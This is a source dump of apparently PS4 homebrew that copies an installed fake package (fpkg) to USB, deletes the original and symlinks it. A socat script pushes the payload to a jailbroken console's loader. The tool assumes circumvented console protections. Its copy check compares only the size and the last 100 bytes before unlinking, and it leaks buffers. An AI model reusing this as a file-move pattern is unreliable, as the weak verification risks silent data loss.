26 | * $FreeBSD: release/9.0.0/sys/sys/elf64.h 186667 2009-01-01 02:08:56Z obrien $
27 | */
28 |
29 |
30 |
31 | #include "elf_common.h"
32 |
33 | /*
34 | * ELF definitions common to all 64-bit architectures.
35 | */
36 |
37 | typedef uint64_t Elf64_Addr;
38 | typedef uint16_t Elf64_Half;
39 | typedef uint64_t Elf64_Off;
40 | typedef int32_t Elf64_Sword;
41 | typedef int64_t Elf64_Sxword;
42 | typedef uint32_t Elf64_Word;
43 | typedef uint64_t Elf64_Lword;
44 | typedef uint64_t Elf64_Xword;
45 |
46 | /*
47 | * Types of dynamic symbol hash table bucket and chain elements.
48 | *
49 | * This is inconsistent among 64 bit architectures, so a machine dependent
50 | * typedef is required.
51 | */
52 |
53 | typedef Elf64_Word Elf64_Hashelt;
54 |
55 | /* Non-standard class-dependent datatype used for abstraction. */
56 | typedef Elf64_Xword Elf64_Size;
57 | typedef Elf64_Sxword Elf64_Ssize;
58 |
59 | /*
60 | * ELF header.
61 | */
62 |
63 | typedef struct {
64 | unsigned char e_ident[EI_NIDENT]; /* File identification. */
65 | Elf64_Half e_type; /* File type. */
66 | Elf64_Half e_machine; /* Machine architecture. */
67 | Elf64_Word e_version; /* ELF format version. */
68 | Elf64_Addr e_entry; /* Entry point. */
69 | Elf64_Off e_phoff; /* Program header file offset. */
70 | Elf64_Off e_shoff; /* Section header file offset. */
71 | Elf64_Word e_flags; /* Architecture-specific flags. */
72 | Elf64_Half e_ehsize; /* Size of ELF header in bytes. */
73 | Elf64_Half e_phentsize; /* Size of program header entry. */
74 | Elf64_Half e_phnum; /* Number of program header entries. */
75 | Elf64_Half e_shentsize; /* Size of section header entry. */
76 | Elf64_Half e_shnum; /* Number of section header entries. */
77 | Elf64_Half e_shstrndx; /* Section name strings section. */
78 | } Elf64_Ehdr;
79 |
80 | /*
81 | * Section header.
82 | */
83 |
84 | typedef struct {
85 | Elf64_Word sh_name; /* Section name (index into the
86 | section header string table). */
87 | Elf64_Word sh_type; /* Section type. */
88 | Elf64_Xword sh_flags; /* Section flags. */
89 | Elf64_Addr sh_addr; /* Address in memory image. */
90 | Elf64_Off sh_offset; /* Offset in file. */
91 | Elf64_Xword sh_size; /* Size in bytes. */
92 | Elf64_Word sh_link; /* Index of a related section. */
93 | Elf64_Word sh_info; /* Depends on section type. */
94 | Elf64_Xword sh_addralign; /* Alignment in bytes. */
95 | Elf64_Xword sh_entsize; /* Size of each entry in section. */
96 | } Elf64_Shdr;
97 |
98 | /*
99 | * Program header.
100 | */
101 |
102 | typedef struct {
103 | Elf64_Word p_type; /* Entry type. */
104 | Elf64_Word p_flags; /* Access permission flags. */
105 | Elf64_Off p_offset; /* File offset of contents. */
106 | Elf64_Addr p_vaddr; /* Virtual address in memory image. */
107 | Elf64_Addr p_paddr; /* Physical address (not used). */
108 | Elf64_Xword p_filesz; /* Size of contents in file. */
109 | Elf64_Xword p_memsz; /* Size of contents in memory. */
110 | Elf64_Xword p_align; /* Alignment in memory and file. */
111 | } Elf64_Phdr;
112 |
113 | /*
114 | * Dynamic structure. The ".dynamic" section contains an array of them.
115 | */
116 |
117 | typedef struct {
118 | Elf64_Sxword d_tag; /* Entry type. */
119 | union {
120 | Elf64_Xword d_val; /* Integer value. */
121 | Elf64_Addr d_ptr; /* Address value. */
122 | } d_un;
123 | } Elf64_Dyn;
124 |
125 | /*
126 | * Relocation entries.
127 | */
128 |
129 | /* Relocations that don't need an addend field. */
130 | typedef struct {
131 | Elf64_Addr r_offset; /* Location to be relocated. */
132 | Elf64_Xword r_info; /* Relocation type and symbol index. */
133 | } Elf64_Rel;
134 |
135 | /* Relocations that need an addend field. */
136 | typedef struct {
137 | Elf64_Addr r_offset; /* Location to be relocated. */
138 | Elf64_Xword r_info; /* Relocation type and symbol index. */
139 | Elf64_Sxword r_addend; /* Addend. */
140 | } Elf64_Rela;
141 |
142 | /* Macros for accessing the fields of r_info. */
143 | #define ELF64_R_SYM(info) ((info) >> 32)
144 | #define ELF64_R_TYPE(info) ((info) & 0xffffffffL)
145 |
146 | /* Macro for constructing r_info from field values. */
147 | #define ELF64_R_INFO(sym, type) (((sym) << 32) + ((type) & 0xffffffffL))
148 |
149 | #define ELF64_R_TYPE_DATA(info) (((Elf64_Xword)(info)<<32)>>40)
150 | #define ELF64_R_TYPE_ID(info) (((Elf64_Xword)(info)<<56)>>56)
151 | #define ELF64_R_TYPE_INFO(data, type) \
152 | (((Elf64_Xword)(data)<<8)+(Elf64_Xword)(type))
153 |
154 | /*
155 | * Note entry header
156 | */
157 | typedef Elf_Note Elf64_Nhdr;
158 |
159 | /*
160 | * Move entry
161 | */
162 | typedef struct {
163 | Elf64_Lword m_value; /* symbol value */
164 | Elf64_Xword m_info; /* size + index */
165 | Elf64_Xword m_poffset; /* symbol offset */
166 | Elf64_Half m_repeat; /* repeat count */
167 | Elf64_Half m_stride; /* stride info */
168 | } Elf64_Move;
169 |
170 | #define ELF64_M_SYM(info) ((info)>>8)
171 | #define ELF64_M_SIZE(info) ((unsigned char)(info))
172 | #define ELF64_M_INFO(sym, size) (((sym)<<8)+(unsigned char)(size))
173 |
174 | /*
175 | * Hardware/Software capabilities entry
176 | */
177 | typedef struct {
178 | Elf64_Xword c_tag; /* how to interpret value */
179 | union {
180 | Elf64_Xword c_val;
181 | Elf64_Addr c_ptr;
182 | } c_un;
183 | } Elf64_Cap;
184 |
185 | /*
186 | * Symbol table entries.
187 | */
188 |
189 | typedef struct {
190 | Elf64_Word st_name; /* String table index of name. */
191 | unsigned char st_info; /* Type and binding information. */
192 | unsigned char st_other; /* Reserved (not used). */
193 | Elf64_Half st_shndx; /* Section index of symbol. */
194 | Elf64_Addr st_value; /* Symbol value. */
195 | Elf64_Xword st_size; /* Size of associated object. */
196 | } Elf64_Sym;
197 |
198 | /* Macros for accessing the fields of st_info. */
199 | #define ELF64_ST_BIND(info) ((info) >> 4)
200 | #define ELF64_ST_TYPE(info) ((info) & 0xf)
201 |
202 | /* Macro for constructing st_info from field values. */
203 | #define ELF64_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
204 |
205 | /* Macro for accessing the fields of st_other. */
206 | #define ELF64_ST_VISIBILITY(oth) ((oth) & 0x3)
207 |
208 | /* Structures used by Sun & GNU-style symbol versioning. */
209 | typedef struct {
210 | Elf64_Half vd_version;
211 | Elf64_Half vd_flags;
212 | Elf64_Half vd_ndx;
213 | Elf64_Half vd_cnt;
214 | Elf64_Word vd_hash;
215 | Elf64_Word vd_aux;
216 | Elf64_Word vd_next;
217 | } Elf64_Verdef;
218 |
219 | typedef struct {
220 | Elf64_Word vda_name;
221 | Elf64_Word vda_next;
222 | } Elf64_Verdaux;
223 |
224 | typedef struct {
225 | Elf64_Half vn_version;
226 | Elf64_Half vn_cnt;
227 | Elf64_Word vn_file;
228 | Elf64_Word vn_aux;
229 | Elf64_Word vn_next;
230 | } Elf64_Verneed;
231 |
232 | typedef struct {
233 | Elf64_Word vna_hash;
234 | Elf64_Half vna_flags;
235 | Elf64_Half vna_other;
236 | Elf64_Word vna_name;
237 | Elf64_Word vna_next;
238 | } Elf64_Vernaux;
239 |
240 | typedef Elf64_Half Elf64_Versym;
241 |
242 | typedef struct {
243 | Elf64_Half si_boundto; /* direct bindings - symbol bound to */
244 | Elf64_Half si_flags; /* per symbol flags */
245 | } Elf64_Syminfo;
246 |
247 |
248 |
--------------------------------------------------------------------------------
/include/link.h:
--------------------------------------------------------------------------------
1 | #ifndef LINK_H
2 | #define LINK_H
3 |
4 | void link_pkg(char *title_id, char *usb_path);
5 | int file_exists(char *filename);
6 |
7 | #endif
8 |
--------------------------------------------------------------------------------
/include/main.h:
--------------------------------------------------------------------------------
1 | #ifndef MAIN_H
2 | #define MAIN_H
3 |
4 | #define SPLIT_APP 1
5 | #define SPLIT_PATCH 2
6 |
7 | typedef struct
8 | {
9 | char* title_id;
10 | int copy;
11 | int split;
12 | int notify;
13 | int shutdown;
14 | } configuration;
15 |
16 | extern configuration config;
17 |
18 | #endif
19 |
--------------------------------------------------------------------------------
/include/pkg.h:
--------------------------------------------------------------------------------
1 | #ifndef PKG_H
2 | #define PKG_H
3 |
4 | #define PS4_PKG_MAGIC 0x544E437F // .CNT
5 |
6 | enum PS4_PKG_ENTRY_TYPES
7 | {
8 | PS4_PKG_ENTRY_TYPE_DIGEST_TABLE = 0x0001,
9 | PS4_PKG_ENTRY_TYPE_0x800 = 0x0010,
10 | PS4_PKG_ENTRY_TYPE_0x200 = 0x0020,
11 | PS4_PKG_ENTRY_TYPE_0x180 = 0x0080,
12 | PS4_PKG_ENTRY_TYPE_META_TABLE = 0x0100,
13 | PS4_PKG_ENTRY_TYPE_NAME_TABLE = 0x0200,
14 | PS4_PKG_ENTRY_TYPE_LICENSE = 0x0400,
15 | PS4_PKG_ENTRY_TYPE_FILE1 = 0x1000,
16 | PS4_PKG_ENTRY_TYPE_FILE2 = 0x1200
17 | };
18 |
19 | // CNT/PKG structures.
20 | struct cnt_pkg_main_header
21 | {
22 | uint32_t magic;
23 | uint32_t type;
24 | uint32_t unk_0x08;
25 | uint32_t unk_0x0C;
26 | uint16_t unk1_entries_num;
27 | uint16_t table_entries_num;
28 | uint16_t system_entries_num;
29 | uint16_t unk2_entries_num;
30 | uint32_t file_table_offset;
31 | uint32_t main_entries_data_size;
32 | uint32_t unk_0x20;
33 | uint32_t body_offset;
34 | uint32_t unk_0x28;
35 | uint32_t body_size;
36 | uint8_t unk_0x30[0x10];
37 | uint8_t content_id[0x30];
38 | uint32_t unk_0x70;
39 | uint32_t unk_0x74;
40 | uint32_t unk_0x78;
41 | uint32_t unk_0x7C;
42 | uint32_t date;
43 | uint32_t time;
44 | uint32_t unk_0x88;
45 | uint32_t unk_0x8C;
46 | uint8_t unk_0x90[0x70];
47 | uint8_t main_entries1_digest[0x20];
48 | uint8_t main_entries2_digest[0x20];
49 | uint8_t digest_table_digest[0x20];
50 | uint8_t body_digest[0x20];
51 | } __attribute__((packed));
52 |
53 | struct cnt_pkg_content_header
54 | {
55 | uint32_t unk_0x400;
56 | uint32_t unk_0x404;
57 | uint32_t unk_0x408;
58 | uint32_t unk_0x40C;
59 | uint32_t unk_0x410;
60 | uint32_t content_offset;
61 | uint32_t unk_0x418;
62 | uint32_t content_size;
63 | uint32_t unk_0x420;
64 | uint32_t unk_0x424;
65 | uint32_t unk_0x428;
66 | uint32_t unk_0x42C;
67 | uint32_t unk_0x430;
68 | uint32_t unk_0x434;
69 | uint32_t unk_0x438;
70 | uint32_t unk_0x43C;
71 | uint8_t content_digest[0x20];
72 | uint8_t content_one_block_digest[0x20];
73 | } __attribute__((packed));
74 |
75 | struct cnt_pkg_table_entry
76 | {
77 | uint32_t type;
78 | uint32_t unk1;
79 | uint32_t flags1;
80 | uint32_t flags2;
81 | uint32_t offset;
82 | uint32_t size;
83 | uint32_t unk2;
84 | uint32_t unk3;
85 | } __attribute__((packed));
86 |
87 | // Internal structure.
88 | struct file_entry
89 | {
90 | int offset;
91 | int size;
92 | char *name;
93 | };
94 |
95 | int isfpkg(char *pkgfn);
96 |
97 | #endif
98 |
--------------------------------------------------------------------------------
/include/utils.h:
--------------------------------------------------------------------------------
1 | #ifndef UTILS_H
2 | #define UTILS_H
3 |
4 | #include "types.h"
5 |
6 | int symlink(const char *pathname, const char *slink);
7 |
8 | int symlinkat(const char *pathname, int newdirfd, const char *slink);
9 |
10 | int lstat(const char *pathname, struct stat *buf);
11 |
12 | off_t file_size(const char *filename);
13 |
14 | int file_exists(char *fname);
15 |
16 | int dir_exists(char *dname);
17 |
18 | int symlink_exists(const char* fname);
19 |
20 | int wait_for_usb(char *usb_name, char *usb_path);
21 |
22 | char* chop(char *string);
23 |
24 | #endif
25 |
--------------------------------------------------------------------------------
/move.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ./clean.sh
4 | ./build.sh
5 | mv *.bin $PAYLOADS --force
--------------------------------------------------------------------------------
/ps4-pkg2usb.cfg:
--------------------------------------------------------------------------------
1 | ;
2 | ; ps4-pkg2usb configuration file. Copy it to your USB disk root.
3 | ;
4 | ; App.pkg destination example:
5 | ; X:\PS4\CUSAxxxxx\app.pkg
6 | ;
7 | ; NB:
8 | ; It works only with fpkg
9 | ;
10 | ; Tips:
11 | ; If you have the app.pkg originally installed,
12 | ; you can avoid copying from the hard disk by putting the file itself in usb X:\PS4\CUSAxxxxx\app.pkg
13 | ; To restore internal app.pkg just resinstall as usal
14 | ;
15 | ; Coded by SiSTRO - Cedits to XVortex & Anonymous
16 | ;
17 |
18 | ; Installed app/game title id
19 | title_id=CUSA00000
20 |
21 | ; 0 - Do not copy app.pkg from hdd
22 | ; 1 - Copy app.pkg from hdd to usb
23 | copy=1
24 |
25 | ; Notification interval in s. (0 - disables notifications)
26 | notify=60
27 |
28 | ; Turn off the console when it has completed (0/1)
29 | shutdown=0
--------------------------------------------------------------------------------
/send.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | socat -u FILE:ps4-pkg2usb.bin TCP:192.168.1.124:9020
4 | socat - tcp-listen:9023
--------------------------------------------------------------------------------
/source/cfg.c:
--------------------------------------------------------------------------------
1 | /* inih -- simple .ini/.cfg file parser
2 |
3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
4 | home page for more info:
5 |
6 | https://github.com/benhoyt/inih
7 |
8 | */
9 |
10 | #include "ps4.h"
11 | #include "defines.h"
12 | #include "cfg.h"
13 |
14 | #define MAX_NAME 50
15 |
16 | #define EOF '\00'
17 |
18 | static inline int fgetc(FILE *fp)
19 | {
20 | char c;
21 |
22 | if (fread(&c, 1, 1, fp) == 0)
23 | return (EOF);
24 | return (c);
25 | }
26 |
27 | static char *fgets(char *dst, int max, FILE *fp)
28 | {
29 | int c = EOF;
30 | char *p;
31 |
32 | /* get max bytes or upto a newline */
33 | for (p = dst, max--; max > 0; max--)
34 | {
35 | if ((c = fgetc (fp)) == EOF)
36 | break;
37 | *p++ = c;
38 | if (c == '\n')
39 | break;
40 | }
41 | *p = 0;
42 | if (p == dst || c == EOF)
43 | return NULL;
44 | return (p);
45 | }
46 |
47 | bool isspace(int c)
48 | {
49 | return c == ' ' || c == '\t';
50 | }
51 |
52 | /* Used by cfg_parse_string() to keep track of string parsing state. */
53 | typedef struct {
54 | const char* ptr;
55 | size_t num_left;
56 | } cfg_parse_string_ctx;
57 |
58 | /* Strip whitespace chars off end of given string, in place. Return s. */
59 | static char* rstrip(char* s)
60 | {
61 | char* p = s + strlen(s);
62 | while (p > s && isspace((unsigned char)(*--p)))
63 | *p = '\0';
64 | return s;
65 | }
66 |
67 | /* Return pointer to first non-whitespace char in given string. */
68 | static char* lskip(const char* s)
69 | {
70 | while (*s && isspace((unsigned char)(*s)))
71 | s++;
72 | return (char*)s;
73 | }
74 |
75 | /* Return pointer to first char (of chars) or inline comment in given string,
76 | or pointer to null at end of string if neither found. Inline comment must
77 | be prefixed by a whitespace character to register as a comment. */
78 | static char* find_chars_or_comment(const char* s, const char* chars)
79 | {
80 | #if CFG_ALLOW_INLINE_COMMENTS
81 | int was_space = 0;
82 | while (*s && (!chars || !strchr(chars, *s)) &&
83 | !(was_space && strchr(CFG_INLINE_COMMENT_PREFIXES, *s))) {
84 | was_space = isspace((unsigned char)(*s));
85 | s++;
86 | }
87 | #else
88 | while (*s && (!chars || !strchr(chars, *s))) {
89 | s++;
90 | }
91 | #endif
92 | return (char*)s;
93 | }
94 |
95 | /* Version of strncpy that ensures dest (size bytes) is null-terminated. */
96 | static char* strncpy0(char* dest, const char* src, size_t size)
97 | {
98 | strncpy(dest, src, size);
99 | dest[size - 1] = '\0';
100 | return dest;
101 | }
102 |
103 | /* See documentation in header file. */
104 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler, void* user)
105 | {
106 | /* Uses a fair bit of stack (use heap instead if you need to) */
107 | #if CFG_USE_STACK
108 | char line[CFG_MAX_LINE];
109 | int max_line = CFG_MAX_LINE;
110 | #else
111 | char* line;
112 | int max_line = CFG_INITIAL_ALLOC;
113 | #endif
114 | #if CFG_ALLOW_REALLOC
115 | char* new_line;
116 | int offset;
117 | #endif
118 | char prev_name[MAX_NAME] = "";
119 |
120 | char* start;
121 | char* end;
122 | char* name;
123 | char* value;
124 | int lineno = 0;
125 | int error = 0;
126 |
127 | #if !CFG_USE_STACK
128 | line = (char*)malloc(CFG_INITIAL_ALLOC);
129 | if (!line) {
130 | return -2;
131 | }
132 | #endif
133 |
134 | #if CFG_HANDLER_LINENO
135 | #define HANDLER(u, n, v) handler(u, n, v, lineno)
136 | #else
137 | #define HANDLER(u, n, v) handler(u, n, v)
138 | #endif
139 |
140 | /* Scan through stream line by line */
141 | while (reader(line, max_line, stream) != NULL) {
142 | #if CFG_ALLOW_REALLOC
143 | offset = strlen(line);
144 | while (offset == max_line - 1 && line[offset - 1] != '\n') {
145 | max_line *= 2;
146 | if (max_line > CFG_MAX_LINE)
147 | max_line = CFG_MAX_LINE;
148 | new_line = realloc(line, max_line);
149 | if (!new_line) {
150 | free(line);
151 | return -2;
152 | }
153 | line = new_line;
154 | if (reader(line + offset, max_line - offset, stream) == NULL)
155 | break;
156 | if (max_line >= CFG_MAX_LINE)
157 | break;
158 | offset += strlen(line + offset);
159 | }
160 | #endif
161 |
162 | lineno++;
163 |
164 | start = line;
165 | #if CFG_ALLOW_BOM
166 | if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
167 | (unsigned char)start[1] == 0xBB &&
168 | (unsigned char)start[2] == 0xBF) {
169 | start += 3;
170 | }
171 | #endif
172 | start = lskip(rstrip(start));
173 |
174 | if (*start == ';' || *start == '#') {
175 | /* Per Python configparser, allow both ; and # comments at the
176 | start of a line */
177 | }
178 | #if CFG_ALLOW_MULTILINE
179 | else if (*prev_name && *start && start > line) {
180 | /* Non-blank line with leading whitespace, treat as continuation
181 | of previous name's value (as per Python configparser). */
182 | if (!HANDLER(user, prev_name, start) && !error)
183 | error = lineno;
184 | }
185 | #endif
186 | else if (*start) {
187 | /* Not a comment, must be a name[=:]value pair */
188 | end = find_chars_or_comment(start, "=:");
189 | if (*end == '=' || *end == ':') {
190 | *end = '\0';
191 | name = rstrip(start);
192 | value = end + 1;
193 | #if CFG_ALLOW_INLINE_COMMENTS
194 | end = find_chars_or_comment(value, NULL);
195 | if (*end)
196 | *end = '\0';
197 | #endif
198 | value = lskip(value);
199 | rstrip(value);
200 |
201 | /* Valid name[=:]value pair found, call handler */
202 | strncpy0(prev_name, name, sizeof(prev_name));
203 | if (!HANDLER(user, name, value) && !error)
204 | error = lineno;
205 | }
206 | else if (!error) {
207 | /* No '=' or ':' found on name[=:]value line */
208 | error = lineno;
209 | }
210 | }
211 |
212 | #if CFG_STOP_ON_FIRST_ERROR
213 | if (error)
214 | break;
215 | #endif
216 | }
217 |
218 | #if !CFG_USE_STACK
219 | free(line);
220 | #endif
221 |
222 | return error;
223 | }
224 |
225 | /* See documentation in header file. */
226 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user)
227 | {
228 | return cfg_parse_stream((cfg_reader)fgets, file, handler, user);
229 | }
230 |
231 | /* See documentation in header file. */
232 | int cfg_parse(const char* filename, cfg_handler handler, void* user)
233 | {
234 | FILE* file;
235 | int error;
236 |
237 | file = fopen(filename, "r");
238 | if (!file)
239 | return -1;
240 | error = cfg_parse_file(file, handler, user);
241 | fclose(file);
242 | return error;
243 | }
244 |
245 | /* An cfg_reader function to read the next line from a string buffer. This
246 | is the fgets() equivalent used by cfg_parse_string(). */
247 | static char* cfg_reader_string(char* str, int num, void* stream) {
248 | cfg_parse_string_ctx* ctx = (cfg_parse_string_ctx*)stream;
249 | const char* ctx_ptr = ctx->ptr;
250 | size_t ctx_num_left = ctx->num_left;
251 | char* strp = str;
252 | char c;
253 |
254 | if (ctx_num_left == 0 || num < 2)
255 | return NULL;
256 |
257 | while (num > 1 && ctx_num_left != 0) {
258 | c = *ctx_ptr++;
259 | ctx_num_left--;
260 | *strp++ = c;
261 | if (c == '\n')
262 | break;
263 | num--;
264 | }
265 |
266 | *strp = '\0';
267 | ctx->ptr = ctx_ptr;
268 | ctx->num_left = ctx_num_left;
269 | return str;
270 | }
271 |
272 | /* See documentation in header file. */
273 | int cfg_parse_string(const char* string, cfg_handler handler, void* user) {
274 | cfg_parse_string_ctx ctx;
275 |
276 | ctx.ptr = string;
277 | ctx.num_left = strlen(string);
278 | return cfg_parse_stream((cfg_reader)cfg_reader_string, &ctx, handler, user);
279 | }
280 |
--------------------------------------------------------------------------------
/source/debug.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "main.h"
5 |
6 | #ifdef DEBUG_SOCKET
7 |
8 | int sock;
9 |
10 | void initDebugSocket(void)
11 | {
12 | struct sockaddr_in server;
13 |
14 | server.sin_len = sizeof(server);
15 | server.sin_family = AF_INET;
16 | sceNetInetPton(AF_INET, LOG_IP, &server.sin_addr);
17 | server.sin_port = sceNetHtons(LOG_PORT);
18 | memset(server.sin_zero, 0, sizeof(server.sin_zero));
19 | sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
20 | sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
21 |
22 | int flag = 1;
23 | sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
24 | }
25 |
26 | void closeDebugSocket(void)
27 | {
28 | sceNetSocketClose(sock);
29 | }
30 |
31 | #endif
32 |
33 | void notify(char *message)
34 | {
35 | if (!config.notify) return;
36 | char buffer[512];
37 | sprintf(buffer, "%s\n\n\n\n\n\n\n", message);
38 | sceSysUtilSendSystemNotificationWithText(0x81, buffer);
39 | }
40 |
--------------------------------------------------------------------------------
/source/link.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "main.h"
5 | #include "elf64.h"
6 | #include "link.h"
7 | #include "utils.h"
8 | #include "pkg.h"
9 |
10 | #define BUFFER_SIZE 65536
11 |
12 | int file_compare(char *fname1, char *fname2)
13 | {
14 | long size1, size2;
15 |
16 | int bytesRead1 = 0,
17 | bytesRead2 = 0,
18 | lastBytes = 100,
19 | res = 0,
20 | i;
21 |
22 | FILE *file1 = fopen(fname1, "rb"),
23 | *file2 = fopen(fname2, "rb");
24 |
25 | char *buffer1 = malloc(BUFFER_SIZE),
26 | *buffer2 = malloc(BUFFER_SIZE);
27 |
28 | if (!file1 || !file2) {
29 | return res; // res = 0;
30 | }
31 |
32 | fseek (file1, 0, SEEK_END);
33 | fseek (file2, 0, SEEK_END);
34 |
35 | size1 = ftell (file1);
36 | size2 = ftell (file2);
37 |
38 | fseek(file1, 0L, SEEK_SET);
39 | fseek(file2, 0L, SEEK_SET);
40 |
41 | if (size1 != size2) {
42 | //printfsocket("Different size > size1: %ld - size2: %ld\n", size1, size2);
43 | res = 0;
44 | goto exit;
45 | }
46 | //printfsocket("size1: %ld - size2: %ld\n", size1, size2);
47 |
48 | if (size1 < lastBytes) lastBytes = size1;
49 |
50 | fseek(file1, -lastBytes, SEEK_END);
51 | fseek(file2, -lastBytes, SEEK_END);
52 |
53 | bytesRead1 = fread(buffer1, sizeof(char), lastBytes, file1);
54 | bytesRead2 = fread(buffer2, sizeof(char), lastBytes, file2);
55 |
56 | if (bytesRead1 > 0 && bytesRead1 == bytesRead2) {
57 | for ( i = 0; i < bytesRead1; i++) {
58 | if (buffer1[i] != buffer2[i]) {
59 | //printfsocket("Different lastBytes %d\n", lastBytes);
60 | res = 0;
61 | goto exit;
62 | }
63 | }
64 |
65 | //printfsocket("Same lastBytes %d\n", lastBytes);
66 | res = 1;
67 | }
68 |
69 | free(buffer1);
70 | free(buffer2);
71 |
72 | exit:
73 | //printfsocket("Closing files\n");
74 | fclose(file1);
75 | fclose(file2);
76 |
77 | return res;
78 | }
79 |
80 | void copy_file(char *sourcefile, char* destfile)
81 | {
82 | char msg[64];
83 |
84 | FILE *src = fopen(sourcefile, "rb");
85 | if (src)
86 | {
87 | FILE *out = fopen(destfile,"wb");
88 | if (out)
89 | {
90 | size_t bytes, bytes_size, bytes_copied = 0;
91 |
92 | char *buffer = malloc(BUFFER_SIZE);
93 |
94 | if (buffer != NULL)
95 | {
96 | fseek(src, 0L, SEEK_END);
97 | bytes_size = ftell(src);
98 | fseek(src, 0L, SEEK_SET);
99 |
100 | while (0 < (bytes = fread(buffer, 1, BUFFER_SIZE, src))) {
101 | fwrite(buffer, 1, bytes, out);
102 | bytes_copied += bytes;
103 |
104 | if (bytes_copied > bytes_size) bytes_copied = bytes_size;
105 | sprintf(notify_buf, "Copying %u%% completed...\n", bytes_copied * 100 / bytes_size);
106 | //printfsocket(msg);
107 | }
108 | free(buffer);
109 | }
110 | fclose(out);
111 | }
112 | else {
113 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
114 | printfsocket(msg);
115 | //notify(msg);
116 | }
117 | fclose(src);
118 | }
119 | else {
120 | sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
121 | printfsocket(msg);
122 | //notify(msg);
123 | }
124 | }
125 |
126 | void link_pkg(char *title_id, char *usb_path)
127 | {
128 | char app_pkg[64];
129 | char app_pkg_usb_root_path[64];
130 | char app_pkg_hdd_base_path[64];
131 | char app_pkg_usb_base_path[64];
132 | char app_pkg_hdd_path[64];
133 | char app_pkg_usb_path[64];
134 | char msg[512];
135 |
136 | sprintf(app_pkg, "app.pkg");
137 | sprintf(app_pkg_usb_root_path, "%s/PS4", usb_path);
138 | sprintf(app_pkg_hdd_base_path, "/user/app/%s", title_id);
139 | sprintf(app_pkg_usb_base_path, "%s/%s", app_pkg_usb_root_path, title_id);
140 |
141 | sprintf(app_pkg_hdd_path, "%s/%s", app_pkg_hdd_base_path, app_pkg);
142 | sprintf(app_pkg_usb_path, "%s/%s", app_pkg_usb_base_path, app_pkg);
143 |
144 | sprintf(msg, "Checking app.pkg in %s...\n", app_pkg_hdd_path);
145 | printfsocket(msg);
146 |
147 | #ifndef DEBUG_SOCKET
148 | notify(msg);
149 | sceKernelSleep(5);
150 | #endif
151 |
152 | if (!file_exists(app_pkg_hdd_path)) {
153 | sprintf(msg, "Error: app.pkg in %s not found!\n", app_pkg_hdd_path);
154 | printfsocket(msg);
155 |
156 | #ifndef DEBUG_SOCKET
157 | notify(msg);
158 | sceKernelSleep(5);
159 | #endif
160 | return;
161 | }
162 |
163 | if (symlink_exists(app_pkg_hdd_path)) {
164 | sprintf(msg, "Error: app.pkg in %s is yet moved!\n", app_pkg_hdd_base_path);
165 | printfsocket(msg);
166 |
167 | #ifndef DEBUG_SOCKET
168 | notify(msg);
169 | sceKernelSleep(5);
170 | #endif
171 | return;
172 | }
173 |
174 | if (isfpkg(app_pkg_hdd_path) != 0) {
175 | sprintf(msg, "Error: %s is not a valid fpkg!\n", app_pkg_hdd_path);
176 | printfsocket(msg);
177 |
178 | #ifndef DEBUG_SOCKET
179 | notify(msg);
180 | sceKernelSleep(5);
181 | #endif
182 | return;
183 | }
184 |
185 | sprintf(msg, "Checking app.pkg in %s ...\n", app_pkg_usb_path);
186 | printfsocket(msg);
187 |
188 | if (!file_exists(app_pkg_usb_root_path)) {
189 | sprintf(msg, "Creating root folder %s ...\n", app_pkg_usb_root_path);
190 | printfsocket(msg);
191 |
192 | mkdir(app_pkg_usb_root_path, 0777);
193 | }
194 |
195 | if (file_exists(app_pkg_usb_path)) {
196 | sprintf(msg, "App found in %s\n", app_pkg_usb_path);
197 | printfsocket(msg);
198 |
199 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
200 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
201 | printfsocket(msg);
202 |
203 | #ifndef DEBUG_SOCKET
204 | notify(msg);
205 | sceKernelSleep(5);
206 | #endif
207 | return;
208 | }
209 | } else {
210 | sprintf(msg, "App not found in %s\n", app_pkg_usb_path);
211 | printfsocket(msg);
212 | //notify(msg);
213 |
214 | if (!dir_exists(app_pkg_usb_base_path)) {
215 | sprintf(msg, "Creating %s ...\n", app_pkg_usb_base_path);
216 | printfsocket(msg);
217 |
218 | mkdir(app_pkg_usb_base_path, 0777);
219 | }
220 |
221 | sprintf(msg, "Copying app.pkg from %s to %s ...\n", app_pkg_hdd_path, app_pkg_usb_path);
222 | printfsocket(msg);
223 |
224 | #ifndef DEBUG_SOCKET
225 | notify(msg);
226 | sceKernelSleep(5);
227 | #endif
228 |
229 | copy_file(app_pkg_hdd_path, app_pkg_usb_path);
230 |
231 | sprintf(msg, "Copying completed!\n");
232 | printfsocket(msg);
233 |
234 | #ifndef DEBUG_SOCKET
235 | notify(msg);
236 | sceKernelSleep(5);
237 | #endif
238 |
239 | if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
240 | sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
241 | printfsocket(msg);
242 |
243 | #ifndef DEBUG_SOCKET
244 | notify(msg);
245 | sceKernelSleep(5);
246 | #endif
247 | return;
248 | }
249 | }
250 |
251 | unlink(app_pkg_hdd_path);
252 |
253 | sprintf(msg, "Removing %s completed!\n", app_pkg_hdd_path);
254 | printfsocket(msg);
255 |
256 | int link = symlink(app_pkg_usb_path, app_pkg_hdd_path);
257 |
258 | #ifdef DEBUG_SOCKET
259 | if (link != -1) {
260 | sprintf(msg, "Linking %s to %s completed!\n", app_pkg_hdd_path, app_pkg_usb_path);
261 | } else {
262 | sprintf(msg, "Linking %s to %s failed!\n", app_pkg_hdd_path, app_pkg_usb_path);
263 | }
264 | printfsocket(msg);
265 | #endif
266 |
